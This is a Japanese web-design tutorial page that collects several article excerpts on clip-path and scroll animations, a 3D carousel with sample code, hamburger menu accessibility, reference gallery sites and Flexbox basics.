セクション1：clip-pathアニメーションとは？ clip-pathは、CSSプロパティの1つで、要素の一部を切り抜いて表示する機能です。特定の形状を指定して、矩形、円形、多角形、さらにはSVGパスなどを使って切り抜きを行うことができます。 セクション2：特徴 インタラクティブなデザイン: ユーザー操作に応じた動的なアニメーションが可能。 形状の柔軟性: 円形や多角形など多様な形を簡単に作成。 実装の簡単さ: CSSとJavaScriptだけで動きを加えられる。 セクション3：コード例 解説 clip-path: circle(0px at center); 初期状態では、背景は非表示（半径0px）です。 window.scrollY 現在のスクロール位置を取得します。 style.clipPath スクロール位置に応じてclip-pathの値を更新します。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. セクション4：カスタマイズのポイント 形状を変更 circle()の代わりにpolygon()やinset()を使うことで、カスタム形状を作成可能です。 スクロール量の制御 Math.min()やMath.max()を使って、clip-pathの大きさに上限を設けることもできます。 セクション5：実用的な活用例 ヒーローヘッダー: ページトップでユーザーの目を引く効果的なデザイン。 スクロールインタラクション: スクロール連動型のアニメーションでページの動きを演出。 背景切り替えエフェクト: 複数の画像を切り替えるアニメーションとして活用可能。 まとめ clip-pathアニメーションは、CSSとJavaScriptを組み合わせることで簡単に実装できます。特にスクロールに連動したデザインは、動的なインタラクションを追加するのに最適です。ぜひこの手法を活用して、より魅力的なWebデザインを実現してください！ よくある質問（FAQ） Q. clip-pathアニメーションとは何ですか？ CSSのclip-pathプロパティを使って要素の表示範囲を動的に変化させるアニメーション技法です。circle()・polygon()・inset()などの関数で切り抜き形状を定義し、CSS transitionやJavaScriptのスクロールイベントと連動させることで、要素がスクロールに応じて拡大・変形する演出を実装できます。 Q. スクロール連動のclip-pathアニメーションの実装方法は？ JavaScriptのscrollイベントまたはIntersection Observer APIでスクロール位置を取得し、clip-pathの値（circle()の半径やinset()の値）を動的に変更します。スクロール量を0〜1の進行率に変換し、requestAnimationFrameで滑らかに更新することで、パフォーマンスの良いスクロール連動アニメーションが実現できます。 Q. clip-pathアニメーションのパフォーマンスは問題ないですか？ clip-pathの変更はレイアウトの再計算が発生するため、transform系のアニメーションと比べるとコストが高くなります。will-change: clip-pathを設定してGPU処理を促進し、アニメーション対象の要素には固定サイズを指定してリフロー範囲を最小限にするのがベストプラクティスです。モバイルデバイスでは特にフレームレートの監視が重要です。 なお、アニメーションの土台となるclip-pathの図形そのものを手早く作りたいときは、clip-path ジェネレーターで頂点をドラッグして作成し、コードをコピーするのが簡単です。 ### [CSS＋JSで作るリフレクションテキストアニメーション｜Reflection Text Animation 実装ガイド](https://codequest.work/reflection-text-animation-css-js/) 「Reflection Text Animation（反射するテキストアニメーション）Rippleリップル」は、テキストがまるで水面に映り込んでいるようなスタイリッシュなエフェクトを再現するデザイン手法です。本記事では、CSSとJavaScriptを使用して、初心者でも簡単に実装できる方法を解説します。Webサイトやプレゼンテーションのデザインに動きを加えたい方におすすめです。 Reflection Text Animationとは？ Reflection Text Animationは、テキストの下部に反射されたようなエフェクトを追加するデザインです。以下の場面で役立ちます： 高級感のあるウェブデザイン 見出しやバナーに動きを加えたいとき カスタムアニメーションの学習素材 完成デモ この記事で解説するコードの完成形はこちらです。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. カスタマイズポイント 色の変更: 背景色やテキストの色を自由に変更できます。 アニメーションの調整: @keyframesを編集して、アニメーションのスピードや透明度を調整。 実際の利用例 サービス紹介ページのキャッチフレーズ。 イベント告知の見出しデザイン。 Webデザイン学習用のデモ作成。 まとめ Reflection Text Animationは、CSSとJavaScriptを使用することで簡単に実装できます。このエフェクトを利用して、あなたのWebデザインにプロフェッショナルな印象を加えましょう。サンプルコードを元に、ぜひオリジナルのアニメーションを作ってみてください！ よくある質問（FAQ） Q. リフレクションテキストアニメーションとは何ですか？ テキストの下に鏡面反射のような映り込みを表示し、アニメーションで動きを加えるCSSエフェクトです。-webkit-box-reflectプロパティや擬似要素（::after）でテキストを複製・反転し、グラデーションマスクで徐々に透明にすることで、光沢のある床に映り込んだような効果を表現します。 Q. CSSのbox-reflectプロパティのブラウザ対応状況は？ -webkit-box-reflectはWebKit系ブラウザ（Chrome・Safari・Edge）で対応していますが、Firefoxでは非対応です。クロスブラウザ対応が必要な場合は、擬似要素でテキストを複製しtransform: scaleY(-1)で反転させ、mask-imageでグラデーションフェードを適用する代替手法を使ってください。 ### [3DカルーセルをCSSとJavaScriptで実装｜動きのあるモダンなUI](https://codequest.work/3d-carousel-css-js/) 3Dカルーセルは、複数の画像やカードを円環状に並べて立体的に回転させるUIです。結論から言うと、CSSのperspective・rotateY()・translateZ()と数十行のJavaScriptだけで、ライブラリなしに実装できます。この記事では、実際に動くデモのコードをそのまま掲載しながら、作り方・カスタマイズ・パフォーマンス最適化までを解説します。 3Dカルーセルとは、複数の要素を円環状に配置し、CSSの3D変形（rotateY()とtranslateZ()）で奥行きを付けて回転させるコンポーネントです。親要素にperspectiveを指定して視点を作り、子要素をY軸回転で等間隔に並べるのが基本原理です。 3Dカルーセルとは？ 3Dカルーセルは、要素を回転する円状に配置し、動的な動きと3Dエフェクトを実現するUIデザインです。平面的なスライダーよりも視線を集めやすく、次のような場面で活用されます。 商品ギャラリー（複数商品を順に見せる） イメージスライダー（作品・実績の紹介） サービス紹介ページのヒーロー演出 立体的に見える仕組みはシンプルです。親要素にperspectiveで視点（カメラの位置）を作り、各アイテムをrotateY()で少しずつ違う角度に向けてから、translateZ()で視点側へ押し出します。こうすると全アイテムが一本の円柱の側面に貼り付いたように並び、回転角を少しずつ変えるだけでカルーセルが回って見えます。実装で使うCSSプロパティは、次の3つを押さえれば十分です。 プロパティ指定する場所役割perspective親（.carousel）視点までの距離。小さいほど遠近が強く立体的になるtransform-style: preserve-3d各アイテム子要素を平面に潰さず3D空間に保つtransform: rotateY() translateZ()各アイテム（JSで付与）Y軸回転で向きを決め、奥行き方向に押し出して円環に配置する 実装デモ（動作サンプル） 下のデモは、この記事で解説するHTML・CSS・JavaScriptをそのまま動かしたものです。「◀︎」「▶︎」ボタンで回転し、中央のアイテムが手前に大きく強調されます。 See the Pen 3Dカルーセル by masakazuimai (@masakazuimai) on CodePen. 3Dカルーセルの作り方（コピペ可能な実装コード） 実装は次の3ステップで完結します。いずれも外部ライブラリは不要です。 HTML：アイテムと操作ボタンの器を用意する CSS：perspectiveとtransform-styleで3D空間を作る JavaScript：各アイテムをY軸回転で等間隔に配置し、ボタンで回転させる 1. HTML：マークアップ 回転させたい枚数だけcarousel-itemを並べます（ここでは7枚）。枚数はJavaScript側が自動で数えるため、HTMLを増減するだけで調整できます。 <div class="carousel-container"> <div class="carousel"> <div class="carousel-item"></div> <div class="carousel-item"></div> <div class="carousel-item"></div> <div class="carousel-item"></div> <div class="carousel-item"></div> <div class="carousel-item"></div> <div class="carousel-item"></div> </div> </div> <div class="button-container"> <button class="prev">◀︎</button> <button class="next">▶︎</button> </div> 2. CSS：3D空間とスタイル ポイントは2つです。親の.carouselにperspectiveを付けて視点（遠近感）を作り、各.carousel-itemにtransform-style: preserve-3dを付けて子要素を3D空間に置きます。 /* 中央寄せ用（デモ用の最小スタイル） */ body { margin: 0; min-height: 100vh; display: flex; justify-content: center; align-items: center; background: #f4f4f4; } /* カルーセルの外枠 */ .carousel-container { position: relative; width: 100%; max-width: 1400px; height: 300px; margin: 0 auto; overflow: hidden; } /* 3D空間を定義する本体 */ .carousel { position: relative; width: 100%; height: 100%; display: flex; justify-content: center; align-items: center; perspective: 400px; /* 奥行きの強さ */ } /* 円環に並ぶ各アイテム */ .carousel-item { position: absolute; width: 225px; height: 127px; /* 16:9 */ background-size: cover; background-position: center; border-radius: 10px; transform-style: preserve-3d; opacity: 0.3; transition: transform 0.5s, opacity 0.5s; } /* 前へ／次へボタン */ .button-container { position: absolute; top: 85%; left: 50%; transform: translateX(-50%); display: flex; gap: 10px; } button { color: #0078d7; border: none; padding: 10px 20px; cursor: pointer; font-size: 16px; } /* レスポンシブ対応 */ @media (max-width: 768px) { .carousel-item { width: 168.75px; height: 95px; } .carousel-container { height: 250px; } } @media (max-width: 480px) { .carousel-item { width: 135px; height: 76px; } .carousel-container { height: 200px; } } 3. JavaScript：回転の制御 アイテム数から1枚あたりの角度（360 / totalItems）を求め、rotateY()で等間隔に並べます。中央のアイテムだけopacityとscaleを上げて強調し、ボタンクリックでcurrentRotationを加減して回転させます。 document.addEventListener("DOMContentLoaded", () => { const items = document.querySelectorAll(".carousel-item"); const totalItems = items.length; let currentIndex = 0; // 中央に表示するアイテムの番号 let currentRotation = 0; // 現在の回転角度 // 各アイテムにサンプル画像を設定（Picsum） items.forEach((item, index) => { const width = 200; const height = Math.round(width * 9 / 16); // 16:9 item.style.backgroundImage = `url('https://picsum.photos/${width}/${height}?random=${index + 1}')`; }); const updateCarousel = (direction) => { const angle = 360 / totalItems; // 1アイテムあたりの角度 const depth = 400; // translateZ（奥行き＝円の半径） if (direction === "next") { currentIndex = (currentIndex + 1) % totalItems; currentRotation -= angle; } else if (direction === "prev") { currentIndex = (currentIndex - 1 + totalItems) % totalItems; currentRotation += angle; } items.forEach((item, index) => { const rotateAngle = angle * index + currentRotation; if (index === currentIndex) { item.style.opacity = "1"; item.style.transform = `rotateY(${rotateAngle}deg) translateZ(${depth}px) scale(1.1)`; item.style.zIndex = "10"; } else { item.style.opacity = "0.3"; item.style.transform = `rotateY(${rotateAngle}deg) translateZ(${depth}px) scale(1)`; item.style.zIndex = "1"; } }); }; document.querySelector(".next").addEventListener("click", () => updateCarousel("next")); document.querySelector(".prev").addEventListener("click", () => updateCarousel("prev")); updateCarousel(); // 初期表示 }); カスタマイズポイント 主要なパラメータを調整するだけで、見た目と動きを大きく変えられます。 パラメータ役割調整のヒントアイテム数（.carousel-item）円環に並ぶ枚数増やすほど角度（360/枚数）が狭まり密に。HTMLを増減するだけperspective奥行きの強さ小さいほど遠近が強調され立体的。大きいほど平面的translateZ の depth円の半径大きいほどアイテムが手前に大きく出る。コンテナ高さと調整opacity（非中央）中央の強調度下げるほど中央のアイテムが際立つtransition回転の滑らかさ0.5s前後。短いほどキビキビ、長いほどゆったり パフォーマンス最適化とレスポンシブ対応 アイテム数が多いと回転時にカクつくことがあります。 ### [スクロールアニメーションを実装｜JavaScriptとCSSで簡単に](https://codequest.work/javascript-scroll-animation/) スクロールアニメーションは、ユーザーがページを下にスクロールした際に、要素がフェードインしたりスライドインする動きを加えることで、Webサイトをより魅力的にする技術です。 この記事では、JavaScriptとCSSを使ったシンプルなスクロールアニメーションの実装方法を解説します。初心者でも理解しやすいコード例を用意していますので、ぜひ参考にしてください！ スクロールアニメーションとは？ スクロールアニメーションは、ページのスクロール位置に応じて、要素が動的に表示される効果です。以下のような場面で使用されます： サービス紹介ページでのテキストのスライドイン。 商品リストのフェードイン。 ポートフォリオページの視覚的なインパクトを強調。 メリット: 視覚効果でユーザーの注目を集める。 サイトの動きを加えて、退屈さを軽減。 ユーザーのスクロールを促進。 実装手順 1. HTMLを構築する 基本的なHTMLの構造を以下のように記述します。 2. CSSでスタイルを設定する CSSを使って、初期状態とアニメーションを定義します。 3. JavaScriptでスクロールを監視する JavaScriptでスクロールイベントを検知し、要素にアニメーションを適用します。 See the Pen フェード by masakazuimai (@masakazuimai) on CodePen. コードの動作説明 HTML: .box クラスを持つ要素がスクロールアニメーションの対象です。 CSS: 初期状態（非表示・下に配置）とアニメーション状態を定義。 .show クラスが付与されると、要素が表示され、元の位置にスライドします。 JavaScript: getBoundingClientRect() で各要素の位置を計算。 スクロール位置に応じて .show クラスを動的に付与。 カスタマイズアイデア アニメーションの種類を増やす: フェードイン、回転、ズームなどを追加。 スクロール量の調整: 表示タイミングを細かく調整。 アニメーションの遅延: 各要素に異なる遅延を設定して、連続的に表示させる。 実務Tips（ベストプラクティス集） Intersection Observer を基本にする スクロールイベントの連発処理より、Intersection Observer で「ビューポートに入ったら実行」に切り替えると負荷が軽く、コードも簡潔になります。rootMargin でトリガー位置を早めるのも有効。 transform と opacity で描画する レイアウト再計算を伴う top/left/width/height の変更は避け、transform: translate/scale と opacity を組み合わせてアニメーション。必要なら will-change: transform, opacity を一時的に付与。 アニメーションは一度だけ or 再生制御 一度だけ再生したい要素には「played」クラスを付けるなど再実行を抑制。繰り返し再生する要素はビジビリティ変化に合わせて開始/停止を制御。 requestAnimationFrame とスロットリング JS で数値を更新する場合は requestAnimationFrame でフレーム同期。スクロールハンドラを使う場合は throttle/debounce を必ず併用。 スタッガー（順次表示）で体験を向上 リストやカードは 50–120ms 程度の遅延をずらして順に表示すると可読性が上がります。CSS カスタムプロパティで遅延を計算すると管理が楽。 アクセシビリティ（低減動作対応） @media (prefers-reduced-motion: reduce) で、アニメ時間を短縮するかフェードのみの最小アニメに落とす。設定画面で「アニメーションを減らす」をオンにしているユーザー配慮は必須。 画像・動画は遅延読み込みと組み合わせる loading="lazy" や fetchpriority を活用し、アニメ開始と同時に大きなリソース読込が重ならないようにする。 よくある質問 Q. スクロール位置でアニメを始める最も簡単な方法は？ A. Intersection Observer を使い、要素がビューポートに入ったらクラスを付与する方法が簡単で高パフォーマンスです。rootMargin で少し手前から発火させると自然に見えます。 Q. カクつきます。どう改善すればいいですか？ A. transform と opacity に限定し、レイアウト変更を避けます。必要な処理は requestAnimationFrame にまとめ、重い処理はスロットリング。画像や動画の遅延読み込みも併用してください。 Q. 1回だけ再生したい／何度も再生したいの制御は可能？ A. 可能です。初回再生時にフラグ用クラスを付けて監視解除すれば1回だけ、ビジビリティ変化に応じてクラスを付け外しすれば複数回再生が実現できます。 Q. ライブラリなしでも作れますか？ A. はい。ブラウザ標準の Intersection Observer と CSS トランジション/アニメーションで十分に実装できます。 Q. 動きを減らしたいユーザーへの配慮は？ A. prefers-reduced-motion を検出し、アニメ時間を短縮またはフェードのみへ切り替えます。設定が有効なユーザーに過度な動きを強制しないようにしましょう。 Q. トリガーされない、発火が早すぎる／遅すぎるときは？ A. rootMargin と threshold を調整してください。親要素の overflow や高さ不足、transform コンテキストが原因で観測がずれることもあるため、レイアウトを見直しましょう。 まとめ 今回の記事では、CSSとJavaScriptを使ったスクロールアニメーションの基本的な実装方法を解説しました。シンプルなコード例を元に、自分のプロジェクトでカスタマイズしてみてください。 スクロールアニメーションを加えることで、より魅力的でインタラクティブなWebサイトを作ることができます！ ### [ハンバーガーメニューをCSSとJavaScriptで実装｜コード例あり](https://codequest.work/hamburger-menu-css-js/) ハンバーガーメニューは、レスポンシブデザインにおける重要なUIコンポーネントの一つです。特に、スマートフォンやタブレットなどの小さな画面でのナビゲーションをシンプルにするために欠かせません。 この記事では、CSSとJavaScriptを使ってハンバーガーメニューを実装する方法を、実際のコード例を交えながら解説します。初心者にもわかりやすいステップで進めますので、ぜひ一緒に試してみてください！ 1. ハンバーガーメニューとは？ ハンバーガーメニューは、3本線のアイコンをクリックまたはタップすると、隠れていたナビゲーションメニューが表示される仕組みです。以下のような場面で活用されます： スマートフォン対応のレスポンシブデザイン シンプルなUIデザインを採用したい場合 スペースを節約する必要がある場合 2. 実装の概要 今回の記事では、以下の技術を使用してハンバーガーメニューを作成します： HTML: メニューの構造を定義 CSS: ハンバーガーメニューのデザインとアニメーションを作成 JavaScript: メニューの開閉動作を実現 3. 実装ステップ 以下のコードを参考に、実際にハンバーガーメニューを作成していきます。 See the Pen ハンバーガーメニュー by masakazuimai (@masakazuimai) on CodePen. 4. カスタマイズポイント このハンバーガーメニューをさらに魅力的にするために、以下のカスタマイズを試してみましょう： アニメーションの追加: CSSトランジションやアニメーションを使って動きを滑らかに。 レスポンシブデザイン: メディアクエリを使用して、デバイスごとにメニューのデザインを調整。 ハンバーガーメニューのアクセシビリティ対応 ハンバーガーメニューはキーボードやスクリーンリーダーでの操作も考慮する必要があります。WCAG 2.1に準拠するために、以下のaria属性を実装してください。 <button class="hamburger" aria-expanded="false" aria-controls="nav-menu" aria-label="メニューを開く" > <span class="hamburger-line"></span> <span class="hamburger-line"></span> <span class="hamburger-line"></span> </button> <nav id="nav-menu" role="navigation" aria-label="メインメニュー"> <!-- メニュー項目 --> </nav> aria-expanded： メニューの開閉状態をスクリーンリーダーに伝える。JavaScriptで開閉時にtrue/falseを切り替える aria-controls： ボタンが制御するメニューのIDを指定する aria-label： ボタンの目的を明示する（テキストがない場合に必須） Escキー対応： メニューが開いている状態でEscキーを押すと閉じる挙動を追加する フォーカストラップ： メニューが開いている間、Tabキーでのフォーカスがメニュー内に留まるようにする ハンバーガーメニューの種類と選び方 種類動作適したケーススライドイン（右から）画面右からメニューがスライド表示一般的なサイト、ECスライドイン（左から）画面左からメニューがスライド表示管理画面、ダッシュボードフルスクリーン画面全体をメニューで覆うブランドサイト、ポートフォリオドロップダウンヘッダー下にメニューが展開シンプルなナビゲーションオフキャンバスメイン領域ごとスライドしてメニュー表示アプリライクなUI 5. まとめ 今回の記事では、CSSとJavaScriptを使用してハンバーガーメニューを実装する方法をご紹介しました。このシンプルなUIコンポーネントを使えば、レスポンシブデザインを簡単に実現できます。 さらに高度なカスタマイズを試してみたい方は、アニメーションや高度なJavaScriptロジックを追加してみてください！ 実務Tips（ベストプラクティス集） シンプルな実装から始める まずはCSSだけで作るシンプルなハンバーガーメニューを試すと理解しやすいです。その後、JavaScriptを追加してアニメーションや開閉制御を拡張すると効率的です。 アクセシビリティを考慮する buttonタグにaria-expandedやaria-controlsを設定し、スクリーンリーダー対応を意識することでユーザー体験を高められます。 トランジションやアニメーションを活用する メニューが開閉する際にtransformやopacityを組み合わせると、自然で見やすい動きになります。CSSアニメーションよりもGSAPなどのライブラリを使うと高度な演出も可能です。 レスポンシブ設計を前提にする PCでは通常のナビゲーション、スマホではハンバーガーメニューといったように、メディアクエリを活用して切り替えるとUXが向上します。 メニュー表示の状態管理を明確にする JavaScriptで開閉を管理する場合、openクラスの付け外しを軸にするとコードがシンプルになります。状態管理が複雑にならないよう注意しましょう。 開閉の仕組みを押さえたら、見た目のバリエーションはハンバーガーメニューのCSSをコピペで使える無料ツールから選ぶと早く進みます。3本線が×に変わるアイコンの動きと、ドロワーやフルスクリーンといったメニューの出方を実際にクリックして比較し、HTML+CSS+JSをそのまま取得できます。 よくある質問 Q. CSSだけでハンバーガーメニューは作れますか？ はい、チェックボックスハックを使えばCSSのみで実装可能です。ただし、JavaScriptを併用した方が柔軟で管理しやすいです。 Q. アクセシビリティ対応は必要ですか？ 必要です。aria属性を付与することで、キーボード操作やスクリーンリーダーでも正しく利用できるようになります。 Q. メニューの開閉アニメーションはどう作ればいいですか？ transitionやtransformを使うのが基本です。複雑な動きを付けたい場合はGSAPやanime.jsなどのアニメーションライブラリを検討すると良いです。 Q. ハンバーガーメニューはどの画面サイズで出すべきですか？ 一般的にはタブレットやスマホなど幅が768px以下の画面で採用します。ユーザー層に合わせてメディアクエリを調整しましょう。 Q. ハンバーガーメニューはSEOに影響しますか？ メニューを非表示にしてもHTML上は存在するため、基本的にSEOには悪影響はありません。ただし、重要なリンクは隠さずナビゲーションに残すのが安心です。 ### [Webデザインの参考サイト｜探し方と自分の案に落とす手順](https://codequest.work/web-design-resources/) Webデザインの参考サイトを開くと、たいていは「きれいなサイトを眺めて終わり」になります。ブックマークだけが増えていくのに、自分が作るページの構成は一向に決まらない。原因は集め方ではなく、集めたあとの工程が用意されていないことにあります。 Webデザインの参考サイトは「サイト全体」「セクション」「LP1枚」という探せる単位ごとに分かれています。まず単位を決め、次に絞り込み軸（業種・色・表現）で当たりを付け、最後に3〜5件の共通構造を抜き出して自分のワイヤーに移す——これが参考を案に変える最短の手順です。眺める順番ではなく、この工程の順番のほうが結果を左右します。 この記事では手順を主役にし、ギャラリーはその道具として扱います。紹介する5サイトの機能・カテゴリ・掲載数は、すべて2026年8月2日に実際に開いて確認した内容です。掲載数はサイトが自分で表示している値を引用しており、こちらで実数を数えたものではありません。将来どれか1つが使えなくなっても、手順そのものは残るように書いています。 参考サイトは「探せる単位」で選ぶ ギャラリーサイトを「デザインがきれいな順」で選ぶと、毎回同じものを見ることになります。選ぶ基準にすべきなのは見栄えではなく、そのサイトが何を単位にして並べているかです。単位が違えば、同じ「参考を見る」という行為でも取り出せる情報がまったく変わります。 探せる単位そこから取り出せるもの使うサイトサイト全体ページ構成の並び順、全体のトーン、演出の量MUUUUU.ORG／Web Design Clipセクション同じ役割のブロックだけを横並びで比較した結果Parts.LP1枚縦1本で説得する順序と、その中の見出しの言い回しLP advance断片・言い換え検索語そのものの候補（自分が知らない呼び名）Pinterest探せる単位と、そこから取り出せるもの（本記事の整理） 単位を決めずに探すと、「サイト全体の雰囲気」と「料金表のレイアウト」を同じ画面で見比べることになり、どちらの判断もできません。逆に単位が合っていれば、3件見ただけでも決められることが出てきます。 そもそも他人のサイトを見て共通点を探す行為には、はっきりした根拠があります。Nielsen Norman Groupの「Jakob's Law of Internet User Experience」（Jakob Nielsen、2017年8月18日公開の2分動画／2026年8月2日確認）は、要約で「ユーザーは自分のサイト以外の場所で大半の時間を過ごしている。だからユーザーは、あなたのサイトが他のサイトと同じように動くことを望む」と述べています。参考を集める目的は珍しい表現を見つけることではなく、利用者が慣れている並びを確認することだ、という前提をここで固定しておきます。 5つのギャラリーの絞り込み軸と得意分野 単位が決まったら、次は絞り込み軸です。ここが各サイトの設計そのもので、掲載作品が入れ替わっても変わりにくい部分です。まず一覧で押さえてください。 サイト探せる単位固有の絞り込み軸MUUUUU.ORGサイト全体業種／配色／サイトタイプ／表現タグ／インタラクションWeb Design Clipサイト全体メインカラーとサブカラー／レイアウト型／実装技術タグParts.セクションセクション名（ヘッダー、料金、CTAなど）と機能パーツLP advanceLP1枚業種／色／タイプ／メインビジュアルの被写体／効果Pinterest断片キーワード（関連語の候補が画面上部に出る）5サイトの絞り込み軸（2026年8月2日に各サイトで確認） MUUUUU.ORG｜5つの軸で絞れて、制作クレジットまで載る MUUUUU.ORG（通称ムーオルグ）は、業種・配色・サイトタイプ・表現タグ・インタラクションの5系統でカテゴリが用意されたギャラリーです。サイト表示では全カテゴリ6,166件（2026年8月2日時点）。各カテゴリに件数が出ているため、「ブラック系1,252件」「WebGL・3D表現が印象的597件」のように、母数を見てから入っていけます。 ここで1つ訂正しておきます。MUUUUU.ORGは「国内のギャラリー」ではありません。サイトタイプの内訳は日本語サイト5,620件に対し海外サイト540件、ほかに中国語12件・韓国語11件が含まれます（同日確認）。海外の事例を除外したいときは、日本語サイトのカテゴリから入る必要があります。 他の4サイトと決定的に違うのは、掲載ページに制作クレジットが載ることです。実際に1件開いて確認したところ、クリエイティブディレクション・デザイン・プログラミング・撮影・編集といった役割別に担当者と制作会社名が並び、その情報の引用元URLまで明記されていました。「この演出は誰が作っているのか」まで辿れるのは、制作会社を調べたいときに効きます。 Web Design Clip｜色と「実装技術」で絞れる Web Design Clipはサイト表示で6,314件（2026年8月2日時点）。色の絞り込みが2段階に分かれているのが特徴で、メインカラー13色に加えてサブカラー13色が別軸で用意されています。配色の組み合わせから探したいときは、この2段構えが役に立ちます。レイアウトはTYPE_AからTYPE_Fまでの6種類で切り替えられます。 コーディングまで担当する人にとって効くのは実装技術のタグです。WordPress、React／Next.js、Vue.js／Nuxt.js、Astro、Webflow、Studio、Shopify、Framer、GSAP／ScrollTrigger、3D／WebGL／three.js、Lottieといったタグで絞り込めます。「Astroで作られた実例だけ見たい」「GSAPを使ったスクロール演出の実例を集めたい」という探し方ができるギャラリーは多くありません。 加えて、本体とは別に3つのサブサイトがあります。それぞれ開いて確認した内容は次のとおりです。 World＝海外のWebデザイン集。本体の日本語サイトと分けて見られる Landing Page＝LP・ランディングページ集。LP advanceと見比べる相手になる Smartphone＝スマホサイト・レスポンシブ集。ただし2026年8月2日時点の新着表示は同年4月2日で、本体ほど頻繁には更新されていない Parts.｜セクション単位で並べて比較できる Parts.は、この5サイトの中で唯一「セクション」を単位にしているギャラリーです。用意されているカテゴリは、ヘッダー／メインビジュアル／悩み・課題解決／サービスの特徴／導入事例／フロー・流れ／料金／よくある質問／CTA／フッター／パンくず／会社概要／お知らせ／インフォグラフィック／数字で見る／ブログ一覧／ブログ記事／お問い合わせ／資料ダウンロードの19種類。加えて機能側として、モーダル・ポップアップ／エラー・404／メガメニュー／スライダー／ページネーションの5種類があります（2026年8月2日確認）。 Parts.のAboutページには「SaaSのサービスサイトやLPを中心としたデザインの参考サイト」「キャッチコピーや構成、デザインの参考にどうぞ」と書かれています。つまり掲載対象はBtoB・SaaS寄りで、そこを承知して使う前提のサイトです。 注意点を1つ。Parts.はサンプルコードを提供していません。トップページ・Aboutページ・パーツ詳細ページのHTMLを取得して確認したところ、pre要素とcode要素はいずれも0件で、本文中に「コード」という語も出てきませんでした（2026年8月2日実測）。掲載されているのはスクリーンショット画像と掲載元サイトへのリンクです。コードを探す場所ではなく、並び順とキャッチコピーを見る場所だと考えてください。 LP advance｜LPを「メインビジュアルの被写体」で絞れる LP advanceはLPに特化したギャラリーで、サイト表示ではLP掲載数2,350（2026年8月2日時点）。業種13種、色13種、タイプ8種で絞り込めるところまでは他と同じですが、独自なのはメインビジュアルの被写体で絞れる点です。人物（男女）／人物（男性）／人物（女性）／物／文字／イラスト／動物の7種類が用意されています。 「ファーストビューに人物写真を置くか、商品を置くか」で迷ったときに、同じ業種の実例を被写体別に並べて見比べられるということです。ほかに効果・エフェクト（スクロール／レスポンシブ／動画）と、キャッチコピーだけを集めた一覧ページもあります。 こちらも1つ訂正しておきます。LP advanceはテンプレートを配布していません。トップページのHTMLを取得して全文を検索したところ、「テンプレート」という語は0件でした（2026年8月2日実測）。読み物として「LPデザイン制作のコツ」というコーナーはありますが、ダウンロードできる素材は用意されていません。 Pinterest｜検索語の言い換えを教えてくれる Pinterestはギャラリーではなく画像共有サービスなので、他の4つとは性格が違います。使いどころは事例集めよりも検索語の発掘です。「webデザイン」で検索すると、画面上部に関連キーワードの候補が並びます。実際に開いて出てきたのは、おしゃれ／スタイリッシュ／コーポレートサイト／カフェ／メインビジュアル／ポートフォリオ／不動産／お客様の声／飲食店／和風／見出し／歯医者／沿革／採用サイト／バナー／代表挨拶／よくある質問といった語でした（2026年8月2日確認）。 この中の「沿革」「代表挨拶」「お客様の声」は、自分では思いつかないセクション名かもしれません。他人がそのセクションを何と呼んでいるかを知る道具として使うと、他のギャラリーでの検索精度も上がります。 Pinterestは「アカウント前提の道具」として扱う Pinterestを勧める記事はたくさんありますが、ログインの要否まで書いてあるものは多くありません。ここは実際に測ったので、その結果を先に置きます。 ログインしていない状態で「webデザイン」の検索結果ページを実ブラウザ（Chromium／日本語ロケール）で開き、下端までのスクロールを17回繰り返して計測しました。結果は次のとおりです（2026年8月2日実測）。 閲覧そのものは可能。ページ全体の高さは初期表示の3,683pxから39,843pxまで伸び続け、追加読み込みは止まらなかった ただし画面には「ログアウトしています／ログインして、あなたにおすすめのアイデアをもっと見てみましょう」という案内が常時かぶさる ページ上のボタンを全件走査したところ、「保存」ボタンは0件。押せるのは「ログイン」「無料登録」と関連キーワードだけだった つまり「見るだけ」なら未ログインでもできますが、ボードに集めて残す使い方はアカウントが前提です。参考集めの本命は「あとで並べ直すこと」なので、Pinterestを使うなら無料アカウントを作る前提で計画してください。なお、ログイン後にどこまで挙動が変わるかは今回検証していません。ここで断定できるのは未ログイン時の挙動だけです。 参考を集める手順｜3〜5件に絞るまで ここからが本題です。集める工程は5ステップで固定できます。所要時間は慣れれば30分ほどです。 目的を1文にする。「BtoB SaaSのサービスサイトのトップを作る」「クリニックの集客LPを作る」など、業種と種類まで書く。ここが曖昧なままだと以降の絞り込みが効かない 探せる単位を決める。ページ全体の構成が知りたいならサイト全体、料金表やCTAだけ迷っているならセクション、縦1本の説得順序を知りたいならLP 軸で絞る。業種を先に、色や表現は後に指定する。色から入ると業種が散らばり、比較できない集合になる 3〜5件に絞る。 ### [【無料】CSS Flexbox 使い方ガイド＆ジェネレーター｜レスポンシブレイアウトの完全入門](https://codequest.work/flex-generator/) CSS Flexbox（フレックスボックス）とは？ Flexboxジェネレーターを使ってみる CSS Flexbox（フレックスボックス）は、要素を「横並び」や「縦並び」に柔軟に配置できる、CSSの1次元レイアウトシステムです。 従来のfloatベースのレイアウトでは、要素を横に並べるだけでもclearfixなどの工夫が必要でした。Flexboxを使えば、ナビゲーションの横並び、ボタン群の均等配置、要素の上下左右中央揃えなどが、数行のCSSで直感的に実装できます。 「1次元」とは、横方向か縦方向のどちらか一方を主軸として制御するという意味です。行と列の両方を同時に制御したい場合は、CSS Gridが適しています。Flexboxは「1列の中での並び方」を柔軟にコントロールすることに特化しており、Web制作においてCSS Gridと並ぶ最も使用頻度の高いレイアウト手法です。 display: flex の書き方 Flexboxを使うには、親要素（フレックスコンテナ）に display: flex; を指定します。 .container { display: flex; } これだけで、.container の直下の子要素（フレックスアイテム）が自動的に横並びになります。CSS Gridの場合は display: grid; を指定しただけでは横並びにならないため、「横並びにしたいだけならFlexbox」と覚えておくと判断が楽です。 Flexboxの軸の概念（主軸と交差軸） Flexboxを理解するうえで最も重要なのが「主軸」と「交差軸」の概念です。 主軸（Main Axis）：フレックスアイテムが並ぶ方向。デフォルトは水平方向（左→右） 交差軸（Cross Axis）：主軸と直角に交わる方向。デフォルトは垂直方向（上→下） 主軸の方向は flex-direction で変更できます。 .container { display: flex; flex-direction: row; /* デフォルト：左→右に横並び */ } row（デフォルト）：左→右の横並び row-reverse：右→左の横並び column：上→下の縦並び column-reverse：下→上の縦並び justify-content は主軸方向、align-items は交差軸方向の配置を制御します。flex-direction を column に変えると主軸が縦になるため、justify-content が縦方向、align-items が横方向の配置に変わります。この「軸が入れ替わる」という性質を理解しておくと、Flexboxの挙動で混乱しにくくなります。 CSS Flexboxで中央揃えする方法 